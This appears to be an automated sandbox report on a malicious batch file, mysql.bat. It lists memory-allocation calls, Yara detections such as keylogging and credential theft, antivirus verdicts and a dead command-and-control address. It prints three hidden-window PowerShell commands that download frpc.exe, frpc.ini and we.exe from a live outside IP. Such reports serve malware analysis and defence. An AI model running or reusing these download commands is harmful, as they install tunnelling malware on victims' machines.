NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c5b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c5d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c5e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c5f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05140000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05141000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05142000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05143000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Nov. 11, 2024, 9:30 a.m.	process_identifier: 2720 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05144000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (3 events)

cmdline	powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadFile('http://101.133.156.69:7777/we.exe', \"$env:USERPROFILE\Downloads\we.exe\")"
cmdline	powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadFile('http://101.133.156.69:7777/frpc.ini', \"$env:USERPROFILE\Downloads\frpc.ini\")"
cmdline	powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadFile('http://101.133.156.69:7777/frpc.exe', \"$env:USERPROFILE\Downloads\frpc.exe\")"

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Nov. 11, 2024, 9:30 a.m.	flags: 15 family: 0		111	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW Nov. 11, 2024, 9:30 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Nov. 11, 2024, 9:31 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW Nov. 11, 2024, 9:31 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (31 events)

description	Create a windows service	rule	Create_Service
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	Communication using DGA	rule	Network_DGA
description	Match Windows Http API call	rule	Str_Win32_Http_API
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Steal credential	rule	local_credential_Steal
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications over HTTP	rule	Network_HTTP
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerCheck__RemoteAPI
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	DebuggerException__ConsoleCtrl
description	(no description)	rule	DebuggerException__SetConsoleCtrl
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	(no description)	rule	Check_Dlls
description	Checks if being debugged	rule	anti_dbg
description	Anti-Sandbox checks for ThreatExpert	rule	antisb_threatExpert
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Communications over FTP	rule	Network_FTP
description	Run a KeyLogger	rule	KeyLogger
description	Communications over P2P network	rule	Network_P2P_Win

Communicates with host for which no DNS query was performed (1 event)

host

101.133.156.69

File has been identified by 16 AntiVirus engines on VirusTotal as malicious (16 events)

CTX	txt.trojan.generic
VIPRE	Heur.BZC.PZQ.Boxter.791.CA02E446
Arcabit	Heur.BZC.PZQ.Boxter.791.CA02E446
ESET-NOD32	PowerShell/TrojanDownloader.Agent.DV
BitDefender	Heur.BZC.PZQ.Boxter.791.CA02E446
MicroWorld-eScan	Heur.BZC.PZQ.Boxter.791.CA02E446
Emsisoft	Heur.BZC.PZQ.Boxter.791.CA02E446 (B)
Ikarus	Trojan-Downloader.PowerShell.Agent
FireEye	Heur.BZC.PZQ.Boxter.791.CA02E446
Google	Detected
Kingsoft	Win32.Troj.Undef.a
Xcitium	TrojWare.Win32.BadShell.XSP@7pmj0k
Microsoft	Trojan:Script/Wacatac.B!ml
GData	Heur.BZC.PZQ.Boxter.791.CA02E446
Varist	ABApplication.MNB
Tencent	Win32.Trojan-Downloader.Downloader.Timw

Creates a suspicious Powershell process (9 events)

option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window
value	Uses powershell to execute a file download from the command line
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window
value	Uses powershell to execute a file download from the command line
option	-nop	value	Does not load current user profile
option	-w hidden	value	Attempts to execute command with a hidden window
value	Uses powershell to execute a file download from the command line

The process powershell.exe wrote an executable file to disk (22 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\Downloads\frpc.exe
file	C:\Users\test22\Downloads\we.exe

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

101.133.156.69:7777

mysql.bat

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All